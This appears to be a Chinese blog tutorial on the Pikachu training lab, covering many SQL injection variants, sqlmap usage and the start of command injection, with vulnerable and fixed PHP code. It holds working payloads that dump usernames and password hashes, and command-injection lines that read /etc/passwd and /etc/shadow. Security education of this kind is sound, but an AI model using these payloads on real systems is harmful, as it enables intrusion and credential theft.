想象一下，你去餐厅点菜，服务员把你的点菜需求（比如“我要2份汉堡”）写在纸上，然后交给厨师。正常情况下，厨师看到“2份汉堡”就会做两份汉堡。但如果服务员不小心，把你的点菜需求直接写进了厨房的菜谱里（比如把“我要2份汉堡”写成了菜谱的一部分），如果写的是“我要2份汉堡，停止做其他所有的菜”，厨师就会按照这个奇怪的要求去做，导致整个厨房的生产流程被破坏。

为什么会出现这个注入漏洞

我们来展示一个有数字型注入漏洞的后端代码

根据用户输入的用户ID查询用户信息的实例（数字型注入漏洞的）代码示例（以PHP为例）
<?php
// 假设用户输入的用户ID存储在$_GET['id']中
$id = $_GET['id'];
// 构造SQL查询语句
$sql = "SELECT * FROM users WHERE id = " . $id;
// 执行查询
$result = mysqli_query($connection, $sql);
// 处理查询结果
if ($result) {
    while ($row = mysqli_fetch_assoc($result)) {
        echo "用户名: " . $row['username'] . "<br>";
        echo "邮箱: " . $row['email'] . "<br>";
    }
} else {
    echo "查询失败";
}
?>




代码作用解释：
获取用户输入：
$id = $_GET['id'];
这行代码从URL的
GET请求中获取用户输入的id参数。
假设用户访问的URL是http://example.com/page.php?id=1
那么$id的值就是1。

构造SQL查询语句：
$sql = "SELECT * FROM users WHERE id = " . $id;
这行代码将用户输入的$id直接拼接到SQL查询语句中。
如果$id的值是1，那么生成的SQL语句就是：SELECT * FROM users WHERE id = 1
这是一个正常的查询语句，用于查询用户表中id为1的用户信息。

执行查询：
$result = mysqli_query($connection, $sql);
这行代码使用mysqli_query函数执行SQL查询语句。
如果查询成功，$result将包含查询结果。

处理查询结果：
while ($row = mysqli_fetch_assoc($result)) {
    echo "用户名: " . $row['username'] . "<br>";
    echo "邮箱: " . $row['email'] . "<br>";
}
这段代码遍历查询结果，输出用户的用户名和邮箱。

我们来分析一下为什么会出现漏洞

漏洞形成原因
在上述代码中，用户输入的$id被直接拼接到SQL语句中，而没有进行任何验证或过滤。
如果攻击者在URL中输入恶意的SQL代码，例如：http://example.com/page.php?id=1 OR 1=1
那么$id的值就变成了 1 OR 1=1
生成的SQL语句就会变成：SELECT * FROM users WHERE id = 1 OR 1=1
这个SQL语句的逻辑被篡改了，
WHERE条件变成了id = 1 OR 1=1，而1=1永远为真，因此查询会返回用户表中的所有记录，而不是仅返回id为1的记录。

利用漏洞后的代码
攻击者可以通过构造恶意的SQL语句来利用这个漏洞。例如，攻击者可以通过以下URL来获取用户表中的所有记录：
http://example.com/page.php?id=1 OR 1=1

利用漏洞后的代码示例
假设攻击者输入的URL是：http://example.com/page.php?id=1 OR 1=1
那么原代码中的$id变量的值就会变成1 OR 1=1
生成的SQL语句就会变成：$sql = "SELECT * FROM users WHERE id = 1 OR 1=1";
执行这个SQL语句后，查询结果会包含用户表中的所有记录，而不是仅返回id为1的记录。

了解原理后我们就知道如何利用这种漏洞了

实践

先来个抓包，发送到web fuzzer里加点东西

id=1 and 1=1 &submit

看看结果，没有问题

如果是这样呢

id=1 and 1=100 &submit

可以看到，出现问题了，因为这条语句为假，1不可能等于100，他不可能输出内容

至此，我们就找到了他的sql注入漏洞，我们就可以推测他的SQL语句，但是如何获取数据库的全部内容呢？这就用到union语句（也是后端语法内容，不了解的朋友也别担心，慢慢都会了解的）

而要用union语句的前提是我们要知道数据库有多少列内容，这就要用到order by语句来查询（恶心的是这个东西要一次一次试，当然有自动化工具，但是后期才用）

我们来看一下报错内容（为了方便，我在这里就跳过前面两页内容查询的图片了）

原理是，order by会对数据库的列表进行查询，（类似于你看小说时，会有一个列表显示，每页列表有固定数量的内容，这里我们查询的就是列表的数量）通过穷举的方法，知道他有多少列表

通过上面的测试，我们可以知道，有两个列表，所以，我们继续

看到这里，我们会有疑问，为什么第二个显示的是数字1，2呢，代表什么呢

1，2两个显示的内容代表的是有两个回显位（在SQL注入攻击中，查询回显位（也称为“回显点”）是指攻击者通过注入攻击能够直接从页面上看到的数据库查询结果的部分）

他对我们有什么用呢：

1. 验证注入点是否存在

当攻击者尝试注入SQL语句时，回显位可以帮助他们快速判断注入是否成功。例如，如果注入的语句能够影响页面上显示的内容（如返回额外的记录或修改页面的某些部分），那么攻击者可以确认该参数存在注入漏洞。

2. 获取数据库信息

回显位可以帮助攻击者直接从页面上获取数据库中的数据。例如，通过注入UNION SELECT语句，攻击者可以将数据库中的其他表的数据拼接到正常的查询结果中，从而直接在页面上看到这些数据。

3. 辅助盲注攻击

在某些情况下，注入点可能不会直接回显数据库查询结果，但攻击者可以通过观察页面的响应（如页面是否正常显示、响应时间等）来判断注入语句的执行情况。回显位在这种情况下可以作为一种辅助手段，帮助攻击者更准确地判断注入的效果。

4. 提高攻击效率

回显位可以让攻击者更直观地看到注入攻击的结果，从而更快地调整注入语句，提高攻击效率。例如，攻击者可以通过观察回显位的变化，快速定位到可以注入的字段和表，进而更高效地获取数据库中的敏感信息。

（就好像高中学过的从两个盒子拿不同颜色的球，但是不管怎么拿，都只有两个盒子）

由此我们下一步是获取数据库信息

内容为

id=-1 union select database(),version()

（像上面说过的，假内容不反馈，用-1的原因是为了防止内容干扰，单纯出现回显位的内容就行）

可以看到返回了版本内容

接下来继续

内容为

id=-1 union select 1,table_name from information_schema.tables where table_schema='pikachu'

大家注意information_schema这个东西是mysql5.0以上版本独有的，不是任意一个数据库都有（之后会接触到mongodb，SQLite等数据库）

由此我们看到了数据库中有哪些信息的种类

接下来我们继续获取其他信息，但是防止大家看到头晕，就不放图片了直接说攻击内容和用处

1，查询pikachu库的users表的字段

olumn_name from information_schema.columns where table_schema='pikachu' and table_name='users'

2，查询敏感表users表中所有列

id=-2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

3，查看pikachu库的users表的字段id、username和password值

id=-1 union select concat(id,'~',username),concat(password) from pikachu.users

4，查询用户名和密码（密码为md5加密方式，找个解密网站解开就行）比如https://www.cmd5.com/

id=-2 union select group_concat(username),group_concat(password) from users

但是怎么修复呢，这种漏洞的一般修复思路是参数化查询，我们再来看一下刚开始展示的实例修复后的内容

<?php
// 假设用户输入的用户ID存储在$_GET['id']中
$id = $_GET['id'];
// 使用参数化查询
$stmt = $connection->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id); // "i"表示参数是整数类型
// 执行查询
$stmt->execute();
$result = $stmt->get_result();
// 处理查询结果
if ($result) {
    while ($row = $result->fetch_assoc()) {
        echo "用户名: " . $row['username'] . "<br>";
        echo "邮箱: " . $row['email'] . "<br>";
    }
} else {
    echo "查询失败";
}
?>

至此，数字型注入完成

2，字符型注入（get）

原理

字符型SQL注入（通过GET方式）是另一种常见的SQL注入漏洞类型。它与数字型SQL注入的主要区别在于，攻击者通过用户输入的字符串（而非数字）来注入恶意SQL代码。字符型注入通常发生在应用程序将用户输入的字符串直接拼接到SQL查询语句中，而没有进行适当的验证或过滤。

想象一下，你去图书馆借书，你告诉图书管理员：“我要借一本《哈利·波特》”。管理员会在图书馆的系统里搜索这本书。但如果管理员不小心，把你的请求直接写进了系统里，而没有检查你输入的内容，那么如果你说：“我要借一本《哈利·波特》或者把所有书都给我”，管理员的系统就会按照这个奇怪的要求去执行，导致整个图书馆的系统被破坏。

我们还是先来分析一个实例

假设有一个简单的用户搜索功能，用户可以通过输入用户名来查询用户信息。如果应用程序没有对用户输入进行过滤或参数化处理，就可能会导致字符型SQL注入漏洞。

<?php
// 假设用户输入的用户名存储在$_GET['username']中
$username = $_GET['username'];
// 构造SQL查询语句
$sql = "SELECT * FROM users WHERE username = '" . $username . "'";
// 执行查询
$result = mysqli_query($connection, $sql);
// 处理查询结果
if ($result) {
    while ($row = mysqli_fetch_assoc($result)) {
        echo "用户名: " . $row['username'] . "<br>";
        echo "邮箱: " . $row['email'] . "<br>";
    }
} else {
    echo "查询失败";
}
?>

代码作用解释
获取用户输入：$username = $_GET['username'];
这行代码从URL的GET请求中获取用户输入的username参数。例如，用户访问的URL是http://example.com/page.php?username=alice
那么$username的值就是alice。

构造SQL查询语句：$sql = "SELECT * FROM users WHERE username = '" . $username . "'";
这行代码将用户输入的$username直接拼接到SQL查询语句中。如果$username的值是alice，那么生成的SQL语句就是：SELECT * FROM users WHERE username = 'alice'
这是一个正常的查询语句，用于查询用户表中
username为alice的用户信息。

执行查询：$result = mysqli_query($connection, $sql);
这行代码使用mysqli_query函数执行SQL查询语句。如果查询成功，$result将包含查询结果。处理查询结果：

while ($row = mysqli_fetch_assoc($result)) {
    echo "用户名: " . $row['username'] . "<br>";
    echo "邮箱: " . $row['email'] . "<br>";
}
这段代码遍历查询结果，输出用户的用户名和邮箱。

但是为什么会出现漏洞呢

漏洞形成原因
在上述代码中，用户输入的
$username被直接拼接到SQL语句中，而没有进行任何验证或过滤。
如果攻击者在URL中输入恶意的SQL代码，例如：http://example.com/page.php?username=alice' OR '1'='1
那么$username的值就变成了alice' OR '1'='1，生成的SQL语句就会变成：SELECT * FROM users WHERE username = 'alice' OR '1'='1'
这个SQL语句的逻辑被篡改了，WHERE条件变成了username = 'alice' OR '1'='1'，而'1'='1'永远为真，因此查询会返回用户表中的所有记录，而不是仅返回username为alice的记录。

利用漏洞后的代码
攻击者可以通过构造恶意的SQL语句来利用这个漏洞。
例如，攻击者可以通过以下URL来获取用户表中的所有记录：http://example.com/page.php?username=alice' OR '1'='1

假设攻击者输入的URL是：http://example.com/page.php?username=alice' OR '1'='1
那么原代码中的$username变量的值就会变成alice' OR '1'='1，生成的SQL语句就会变成：$sql = "SELECT * FROM users WHERE username = 'alice' OR '1'='1'";
执行这个SQL语句后，查询结果会包含用户表中的所有记录，而不是仅返回username为alice的记录。

仍然是通过参数查询化的思想进行修正

修复后的代码

<?php
// 假设用户输入的用户名存储在$_GET['username']中
$username = $_GET['username'];

// 使用参数化查询
$stmt = $connection->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username); // "s"表示参数是字符串类型

// 执行查询
$stmt->execute();
$result = $stmt->get_result();

// 处理查询结果
if ($result) {
    while ($row = $result->fetch_assoc()) {
        echo "用户名: " . $row['username'] . "<br>";
        echo "邮箱: " . $row['email'] . "<br>";
    }
} else {
    echo "查询失败";
}
?>

实践

由于是我们输入，所以可以操作的空间就大多了

先判断下闭合符（闭合符我们在前几期内容讲过，类似于写作文的句号一样的作用）（通用的闭合符可以用--q）

可以通过这个来分析

?name=%27&submit=查询

或者用输入内容来进行

内容为

1'

从中我们可以知道，闭合符为'（单引号）

由此，我们就可以使用上面提到的"万能钥匙"

' or '1'='1

可以看到成功了

接下来就和上面的数字型注入差不多了，区别在于，这个是get方式，可以通过浏览器的搜索框直接继续注入

1，判断列表数

' order by 2 -- q

2，判断回显位

' union select 1,2 -- q

3，查看用户名和数据库名

' union select user(),database() -- q

4，查询数据库pikachu下的所有表的种类

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- q

5，查询表的种类

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

5单独的用法：（其他的直接输入框内就行）

至此，字符型注入（get）完成

（注意：以上就是几乎所有sql注入的主模式：找注入点，找闭合符，构造注入语句，攻击，下面的同样如此，只是注入点，闭合符，用于攻击的构造语法不同而已）

3，搜索型注入

原理

和上面字符型注入类似，但是闭合方式不同（和之前我们说过的xss差不多，也是殊途同归的样子）

实践

还是先分析

可以用--q的方式闭合

1，查询全部账号和信息

name=' or 1=1-- q

2，判断回显位

' order by 3 -- q

3，查询账号密码

' union select 1,group_concat(username),group_concat(password) from users -- q

4，xx型注入

原理

仍然和字符型注入一样

实践

同搜索型注入

5，insert/update注入

原理

先翻译一下：insert插入，update更新

Insert/Update注入是一种SQL注入攻击方式，攻击者通过在用户输入中插入恶意的SQL代码片段，操纵数据库的INSERT或UPDATE语句，从而实现非法操作。

（类似于校园公告栏，你可能会在公告栏上写：“请所有有意向学生在本周参与校园歌唱大赛。这里的"学生""本周""歌唱大赛"等信息，就像是数据库中的数据，而公告栏就是用来存储和展示这些信息的地方。

insert注入：有人把你写的内容改了，变成"本周的歌唱大赛取消"

update注入：有人把"有意向"改成"全体"）

这两种注入都像是有人在正常的流程中偷偷做了手脚，导致原本正常的信息或操作被恶意利用，所以我们在处理任何输入和更新操作的时候，都要特别小心，防止被“注入”。

实践

insert：

我们先抓一个注册的包看看

老样子，还是先判断一下闭合方法

从上面的反馈，我们可以知道'（单引号）可以闭合，接下来就可以大展拳脚了

我们在username后面加东西，因为前面我们的输入报错，说明username是有注入点的

比如

为什么不用上面说过的

' union select 1,group_concat(username),group_concat(password) from users -- q

或有一定基础的朋友认为的

username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q

因为，

username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q

语法错误或参数问题 ：这里的 updatexml 函数可能由于参数数量或格式不符合要求导致无法正确执行。updatexml 函数的参数可能期望的是特定类型和数量的参数，而在这个语句中的参数构造可能存在问题，导致它不能正常工作，进而无法引发包含有用信息的报错来获取数据。

select user() 返回数据处理问题 ：虽然 (select user()) 本身在正常查询环境下可以返回当前数据库用户信息，但在这种注入语境下，可能与 updatexml 函数结合时，返回的数据类型、格式等不符合 updatexml 函数的要求，或者无法正确嵌入到报错信息中以供我们获取，从而使整个注入尝试失败。

' union select 1,group_concat(username),group_concat(password) from users -- q

数据类型或列数不匹配 ：UNION 语句要求前后两个查询的结果集在列数和对应列的数据类型上要兼容。后端的数据库查询可能期望的列数、数据类型与我们构造的这个 union select 语句中的列数、数据类型不一致，导致无法正确执行，也就无法获取到想要的用户名和密码信息。

以下语法就不一一列举了，请大家自己尝试

1，获取列表种类

username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1)or'

2，查询一部分用户列表种类

username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)or'

3，查询一部分用户列表种类

username=' or updatexml(1,concat(0x7e,right((select group_concat(column_name) from information_schema.columns where table_name='users'),22)),1)or'

4，密码查询（还是md5加密）

username=' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'

update：

还是像前面一样，抓一个修改信息的包

检验闭合方法

可以知道’（单引号）是闭合符

接下来和insert一样，只不过注入点换成了sex

至此insert/update注入完成

6，delete注入

原理：和上面说过的insert/update差不多，不过这里是是用sql中delete语法

类似于网上流行过的男生买菜，"如果有西红柿就买四个，如果看到白菜就买一个"，然后男生就买了一个西红柿（不过在delete注入中男生是两手空空回来的）

实践

我们先抓包，删除一个留言（注意，抓取的会是一个地址最后面标有id的）

我们继续找闭合方法

由此，我们可以知道，闭合点在id后面，闭合符为‘（单引号）

其次，由于是get请求，所以我们可以通过浏览器的地址栏来继续注入

比如

1，查询数据库名称

/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)

2，查询账号相关内容

%20or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)

3，查询密码

%20or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)

还有一点，只修改id号码可以删除之前的留言

完成

7，http header注入

原理

首先要了解什么是http header：里面包含了网站需要的信息，比如你访问的网址、你的浏览器类型等。这些信息被称为HTTP头部（http header）

HTTP头部注入是一种网络安全漏洞，攻击者通过在HTTP请求或响应中注入额外的HTTP头部，操纵服务器或客户端的行为。这种攻击通常利用Web应用程序对用户输入的过度信任，导致恶意数据被当作正常的HTTP头部处理。

就是攻击者篡改这个头部，让它指向一个恶意的地址

想象一下，你去一家餐厅吃饭，你告诉服务员你的需求，比如“我要炒米，不要蒜”。在这个场景中，服务员会把你的需求记录下来，然后传给厨师去准备。

在 HTTP 通信中，你的浏览器就像是“顾客”，服务器就像是“餐厅厨房”，而 HTTP Header（HTTP头部）就像是“服务员”传给“厨房”的菜单需求清单。它包含了请求的来源、目标地址、内容类型，反馈语言等关键信息，就像菜单上注明的菜品名称、烹饪方式、是否过敏等细节。

HTTP Header 注入的比喻

假设你点餐的时候，有个调皮的小孩在你的菜单需求清单上偷偷加上了：“要求厨师加上辣椒”或者“要求餐厅把账单给我”等内容。这些额外的、可能是恶意的要求并不是你真正的意图，但却被混进了正常的菜单需求中。这就是 HTTP Header 注入

实践

我们登录抓包，（admin/123456）

经过前面的学习，我们知道了怎么做，所以直接说明注入点是Accept:和闭合符'（单引号）

和前面差不多

举例

8，(base on boolian)盲注

原理

学过一些编程语言的朋友应该了解什么是布尔类型：就是只反馈no和yes的类型，不存在or

正常情况下，当你访问一个网站的某个功能（比如查询用户信息）时，网站会返回具体的结果。但在布尔盲注中，网站不会直接返回查询结果，只会告诉你查询是否成功。

例如，假设网站有一个用户ID查询功能，正常情况下，输入一个ID，网站会返回用户信息。但在布尔盲注中，攻击者会输入类似这样的内容：

ID=1 AND 1=1如果网站返回正常结果，说明查询成功。

ID=1 AND 1=2如果网站返回错误或无结果，说明查询失败。

通过这种方式，攻击者可以逐步猜测数据库中的信息，比如数据库名、表名、字段名等。（就像我以前和朋友们玩过的"海龟汤"差不多，被提问者只能说"是"或者"不是"不可以提供任何有关谜底的内容）

实践

我们输入kobe，可以看到返回了账号相关的内容，但是我们输入kobe'则显示用户不存在，说明这里存在注入点，闭合符为'

（这个比较恶心，也要一点一点试探）

接下来试探数据库名称

kobe' and length(database())>6-- q

最后的结论是7>X>6（我们取7）

判断第一个字母是什么（我的是pikachu）（数据库名称配置是第一期皮卡丘靶场的配置中有关的，可以查看自己的是什么）

lucy' and (substr(database(),1,1))='p'-- q

判断列表种类（httpinfo,member,message,users,xssblind）

lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- q

这个之前提到过，只不过要自己去一个一个尝试，在此便不过的赘述

9，(base on time)盲注

原理

时间盲注属于盲注的一种类型。盲注是指攻击者无法直接从页面返回的内容中获取注入结果，而是通过其他方式（如页面状态、响应时间等）来判断注入是否成功。时间盲注的核心是利用数据库的延时函数（如SLEEP()、WAITFOR DELAY等）来控制数据库的响应时间。

想象一下，你和朋友玩一个猜谜游戏。你问朋友：“我猜你这门选修课考试没挂，对不对？”朋友没有直接回答“对”或“不对”，而是故意等了一会儿才回答。通过观察朋友的反应时间，你可以判断你的猜测是否正确。（因为他自己也不记得，学的好的科目当然没挂，记得很清楚，费时间想的就是很可能挂了的科目）

实践

这里要用到后端的sleep函数（有关编程语言学习的朋友应该更了解）：可以延时，比如算1+1正常来说很快，但是加入sleep函数后设置了3秒后回复，所以3秒后出答案2

先分析一个示例

kobe%27+and+sleep%283%29--%20q

kobe%27+and+sleep%283%29--%20q

kobe'：这是一个单引号 ' 的注入点，通常用于闭合原SQL语句中的字符串字段，从而开始注入攻击。
and sleep(3)：这是注入的核心部分，
sleep(3) 是一个延时函数（在MySQL中），它会让数据库暂停3秒。这是时间盲注攻击的典型特征，通过观察页面响应时间是否延迟来判断注入是否成功。
--：这是SQL注释符号，用于注释掉原SQL语句中该注入点之后的部分，确保注入语句能够正常执行。

意思是比如我的数据库名字是pikachu（七位）

kobe%27+and sleep(if((length(database())=7),0,3))--%20q

这个的意思是如果数据库名称是七位，那么就延迟反馈

再剩下的就和刚才的布尔盲注差不多，一个一个试探

完成

10，宽字节注入

原理

首先，什么是宽字节：

宽字节（Wide Character）是指在计算机中使用多字节（通常是2字节或更多）来表示一个字符的编码方式。与单字节编码（如ASCII，每个字符占用1字节）不同，宽字节编码可以表示更多的字符，尤其是用于支持多语言环境，例如Unicode编码中的UTF-16和UTF-32。

在Web开发和数据库交互中，宽字节通常指的是使用多字节编码（如GBK、GB2312）来存储和处理字符。GBK和GB2312是中文常用的编码方式，其中每个中文字符通常占用2字节。

宽字节注入是一种SQL注入攻击方式，它利用了Web应用程序对字符编码处理的差异，尤其是当应用程序在处理宽字节编码（如GBK）时，可能导致SQL语句的构造逻辑被破坏，从而实现注入攻击。

（看不懂就不用看了，这个内容没有计算机基础很难看懂，而且能看到这里的你真的已经很了不起了，直接看下面的比喻吧）

想象一下，你给朋友写了一封信，信的内容是用汉字写的，每个汉字占用两个格子（宽字节）。你在信中写了一个重要的信息，比如“请在周六上午9点见面”，然后把信寄了出去。

假设在写信的过程中，你没有注意到信纸上的格子大小，或者邮局在处理信件时出了点问题，导致信的内容被错误地印刷了。比如，邮局的机器把两个格子的汉字误认为是四个格子的内容，或者把原本的汉字和一些空白格子混在了一起。这样一来，原本应该被正确理解的“周六上午9点见面”，可能被误解成“周六上午9点不见面”或者其他完全不同的意思。

由此，我们可以了解到，维护网站要多方面，多角度，很多东西可能都不是人为出现的

实践

输入

kobe%df' or 1=1-- q

抓包

为什么要用这个呢：数据库用了GBK编码，\转义了' ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”，可以输入%df替换掉%5c，从而找到注入点

其他方式

获取密码

kobe%df' union select group_concat(username),group_concat(password) from users -- q

sqlmap方式

接下来我们用sqlmap试试

下面是常用的命令，如果希望详细了解的话可以看一下sqlmap的中文手册

https://wwhc.lanzoue.com/iSKxA2yegdch（我找不到更新的了所以只有1.4版本的）

GET方式

-u：指定注入的URL   sqlmap -u URL

--dbs：爆出所有数据库 sqlmap -u URL --dbs

--dbms：指定数据库类型 sqlmap -u URL --dbms=mysql

--users：查看数据库的所有用户 sqlmap -u URL --users

--current-user：查看数据库当前用户 sqlmap -u URL --current-user

--current-db：查看网站当前数据库 sqlmap -u URL --current-db

--is-dba：判断当前用户是否有管理员权限 sqlmap -u URL --is-dba

--roles：列出数据库所有管理员角色，仅适用于oracle数据库 sqlmap -u URL --roles

--tables：爆出所有数据表 sqlmap -u URL -D 数据库名 --tables

--columns：爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns 

--dump：爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump

--dump-all：爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all

--sql-shell：获取数据库shell  sqlmap -u URL --sql-shell

--os-shell：获取服务器shell  sqlmap -u URL --os-shell

--file-read：读取服务器文件  sqlmap -u URL --file-read "文件路径及名称"

--file-write 本地文件 --file-dist 目标文件路径及名称：将本地文件上传至目标服务器

--time-sec=2：延时注入 sqlmap -u URL --time-sec=2

--batch：探测过程中不进行询问，一律选择默认

-m：如果有多个url地址，可以把多个url保存成一个文本文件，-m可以加载文本文件逐个扫描

POST方式

-r：指定POST数据文件  sqlmap -r post.txt

--data：这种不需要将数据进行保存，只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"

--forms：自动搜索表单的方式 sqlmap -u URL --forms

--cookie="抓取的cookie"：测试cookie字段

--param-del：参数拆分字符，当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数，sqlmap -r post.txt --data="query=foorbar;id=1" --param-del

--referer：在请求中伪造http中的referer，当level参数设定为3或者3以上的时候会尝试对referer注入

--headers：增加额外的http头

--proxy：指定代理地址

-p：指定测试参数

我们用字符型做示范，因为前面的数字型只能用他提供的，不方便我们了解sqlmap这个工具

先随便输入看看

从url栏中我们可以知道自己的url地址，先复制下来

http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2

然后用sqlmap的-u方式来跑一下

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

（我用终端运行的，所以和cmd的样式看起来有区别，但本质一样）

由此，我们可以知道是mysql数据库并且有name漏洞

获取数据库名称

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db

可以看到成功了

获取数据库的所有表

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

成功

获取表的所有字段（这里以users为例，想要别的表单的字段，把上面获取的表单名称换掉就行）

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

成功

就像套公式一样就行，大家可以自行尝试，我就不过多赘述了，只要根据上面常用的公式来就行了

至此，SQL注入模块全部完成

五，RCE

介绍：

RCE(remote command/code execute)概述

RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。

远程系统命令执行
一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。 而，如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此，如果需要给前端用户提供操作类的API接口，一定需要对接口输入的内容进行严格的判断，比如实施严格的白名单策略会是一个比较好的方法。

你可以通过“RCE”对应的测试栏目，来进一步的了解该漏洞。

个人评价：理论简单，但是实际操作挺困难的，因为那些公司也不是白痴，人家的防范功能也很好，最好拿到较高的权限后进行。

适用场景：日常生活中几乎用不到，因为大多数人连cmd都不知道，晦涩难懂的命令行式的内容更是难以接受或接触

实际反馈：用起来很难，但是成功后就很舒服了，有时候甚至直接可以控制服务器（但是要用到一些"米奇妙妙工具"）

一，exec"ping"

原理

首先了解一下什么是"exec"和"ping"

在计算机编程和系统操作中，exec 函数是一种用于执行系统命令的函数。（就像是重生流小说中的"系统"这个东西一样，只要要求合理（计算机中为语法合理）几乎有应必答）

ping 命令是用来检测网络连通性的工具。（就好像小时候，因为人多，你看不清父母，你在人群中呼喊（这个就是ping的过程）你父母，然后父母给你回应）

了解"exec"和"ping"后我们说一下"ping" 漏洞原理

该漏洞的成因是应用程序未对用户输入进行严格过滤，直接将用户输入的IP地址拼接到系统命令中执行

（就像是我之前看新闻看到的，贩毒分子（黑客）让外卖员取餐（正常的ping）后去某处再拿个东西（粉）（exec-ping）然后送到顾客手中。看似外卖员只是正常的工作，但是却成为毒贩的帮凶）

实践

在我之前的学习中发现有时候用皮卡丘靶场的ping本地127.0.0.1没反应，如果有朋友是这样的情况也别担心，因为不影响后续内容，用cmd也可以完成

如下

但是为什么皮卡丘靶场里面的是一堆看不懂的符号呢

是因为皮卡丘靶场的ping功能执行后返回的结果的中文字符串可能使用了GBK编码，而浏览器默认使用UTF-8编码进行解析，从而导致中文乱码（听不懂也没关系，和本次学的内容关系不大，不影响进行下一步）

首先先讲讲字符语法

之前的第五期sql注入中，细心的朋友可能已经发现皮卡丘靶场的环境是ubuntu系统（一个linux系统，类似于你用的windows，不过linux更适合开发，没有接触过的朋友用于日常使用的话会比较费劲）

命令拼接相关指令

&：顺序执行多条命令，无论前面的命令是否执行成功，后面的命令都会被执行。例如：127.0.0.1 & ipconfig。

&&：只有当前面的命令执行成功时，才会执行后面的命令。例如：127.0.0.1 && whoami。

|：管道符，将前一个命令的输出作为后一个命令的输入。在某些场景下可用于跳过前面的命令，直接执行后面的命令。例如：127.0.0.1 | whoami。

||：只有当前面的命令执行失败时，才会执行后面的命。

首先

x.x.x.x | whoami

看结果

大家可能会问这个是什么意思呢，这个代码有什么用呢

用途：通过在 ping 命令后拼接 whoami 命令，可以获取服务器当前运行的用户身份。这对于判断目标系统的权限级别非常有帮助。

意义：如果返回的是低权限用户（如 www-data），说明服务器的 Web 服务运行在低权限模式下；如果是高权限用户（如 root），则可能存在更大的安全隐患

下面的同样我就不再放图片了，大家可以自己尝试

1，

x.x.x.x | ls

用途：通过在 ping 命令后拼接 ls 命令，可以列出目标服务器当前目录下的文件和文件。

意义：这有助于了解服务器的文件结构，进一步寻找可能的漏洞点或敏感文件

2，

x.x.x.x & whoami

作用：与 | whoami 类似，但使用 & 符号，可以确保两条命令都执行

3，

x.x.x.x && whoami

作用：只有当 ping 命令成功执行后，才会执行 whoami 命令

4，

x.x.x.x ; whoami

作用：在 Linux 系统中，; 表示无论前一个命令是否成功，都会执行后面的命令

5，

x.x.x.x | cat /etc/passwd

作用：尝试读取 Linux 系统的用户信息文件 /etc/passwd，以获取系统中所有用户的列表

6，

x.x.x.x | ipconfig

（Windows 系统）：

作用：在 Windows 系统中，获取网络配置信息

7，

x.x.x.x | dir

（Windows 系统）：

作用：列出当前目录下的文件和文件夹

8，

x.x.x.x | cat /etc/shadow

（Linux 系统）

作用：尝试读取用户密码文件 /etc/shadow，但通常需要高权限。

至此，exec-ping完成

二，exec "eval"

原理

首先，什么是"eval"

eval 是一种在许多编程语言中都存在的函数或操作，其主要功能是将字符串作为代码动态执行。具体来说，它会将字符串解析为代码，并按照编程语言的语法规则执行这些代码。（像是动漫《瑞克和莫蒂》第一季的第五集第一次出现的使命必达先生，会帮你做很多事，几乎是万能的）

eval 漏洞通常是指由于不当使用 eval 函数，导致程序执行了恶意代码，从而引发安全问题。这种漏洞的核心在于 可控的输入被错误地传递给 eval 函数（就好像你让使命必达先生去干杀人防火的邪恶事件）

实践

首先，我们要知道，皮卡丘靶场的后端是用php语言去开发的，所以，我们就要用php的方式去进行攻击

首先，先解读一段代码，以便于了解php的内容

phpinfo()

phpinfo() 是一个内置的PHP函数，用于显示当前PHP环境的详细信息

功能：

查看PHP配置信息

PHP版本：可以查看当前运行的PHP版本号，这对于确定某些功能是否可用非常重要。例如，某些安全漏洞可能只存在于特定版本的PHP中。

